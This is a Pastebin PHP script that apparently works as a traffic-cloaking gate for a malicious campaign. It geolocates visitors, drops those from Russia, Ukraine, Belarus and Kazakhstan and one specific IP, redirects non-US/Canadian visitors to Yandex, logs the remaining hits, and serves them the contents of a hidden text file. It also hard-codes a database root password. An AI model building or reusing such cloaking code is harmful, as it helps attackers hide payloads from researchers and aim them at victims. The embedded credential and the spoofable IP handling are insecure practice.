SHARE
TWEET

Untitled

a guest Jan 26th, 2019 48 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5.  
  6.  
  7. //echo "script start ";
  8.  
  9. require 'vendor/autoload.php';
  10. require_once 'TorDetect.php';
  11. use GeoIp2\Database\Reader;
  12.  
  13.  
  14.  
  15.  
  16. $url = "";
  17. $host = 'localhost';
  18. $db   = 'testtest';
  19. $user = 'root';
  20. $pass = 'flsGxvQTxT';
  21. $charset = 'utf8';
  22.  
  23. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  24. $opt = [
  25.     PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
  26.     PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  27.     PDO::ATTR_EMULATE_PREPARES   => false,
  28. ];
  29. $pdo = new PDO($dsn, $user, $pass, $opt);
  30.  
  31. $ip = getIP();
  32.  
  33. if (strpos($ip, ',') !== false) {
  34.    $ip_arr = explode(",", $ip);
  35.    $ip = $ip_arr[0];
  36.    
  37. }
  38.  
  39. if($ip == "67.137.36.66")
  40. {exit;}
  41.  
  42.  
  43. $sng_codes = [
  44. 'RU',
  45. 'UA',
  46. 'BY',
  47. 'KZ'
  48.  
  49. ];
  50.  
  51. $allowed_codes = [
  52. 'CA',
  53. 'US'
  54. ];
  55.  
  56.  
  57.  
  58.  $instance = \TorDetect\TorDetect::getInstance();
  59.  
  60.  
  61. //$host= gethostname(); $serv_ip = gethostbyname($host);
  62.  
  63. //$is_tor = $tor_detector->check($ip, 80, $serv_ip);
  64.  
  65.  
  66.  
  67.  
  68.  
  69. //echo "tor check start ";
  70. $is_tor = $instance->isTorActive();
  71.  
  72.  
  73. //echo "tor check end ";
  74.  
  75. try{
  76.  
  77. $reader = new Reader('GeoIP2-City.mmdb');
  78.  
  79. $record = $reader->city($ip);
  80. $country = $record->country->name;
  81. $cc  =   $record->country->isoCode;
  82. //add to db info
  83.  
  84. }
  85. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  86. $country = "Not found";
  87. $cc = "NotF";
  88. }
  89.  
  90.  
  91. //echo "sng check start ";
  92. if(in_array($cc, $sng_codes))
  93. {
  94.     exit;
  95. }
  96.  
  97. if(!in_array($cc, $allowed_codes))
  98. {
  99.    
  100.     header('Location: http://yandex.com/');
  101. exit;
  102. }
  103.  
  104. //echo "sng check end ";
  105. $date = date('Y-m-d H:i:s');
  106. $q =  $pdo->prepare('insert into `hits` (ip, country, date) values (:ip, :country, :date) ');
  107.             $q->bindParam(':ip', $ip);
  108.             $q->bindParam(':country', $country);
  109.             $q->bindParam(':date', $date);
  110.             $q->execute();
  111.             echo "";
  112.              echo file_get_contents("caa.txt");
  113. echo $url;
  114.  
  115.  
  116.  
  117.  
  118. function getIP()
  119. {
  120.     if (isset($_SERVER["HTTP_X_REAL_IP"]))
  121.         return $_SERVER["HTTP_X_REAL_IP"];
  122.     else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  123.         return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  124.     return $_SERVER['REMOTE_ADDR'];
  125. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top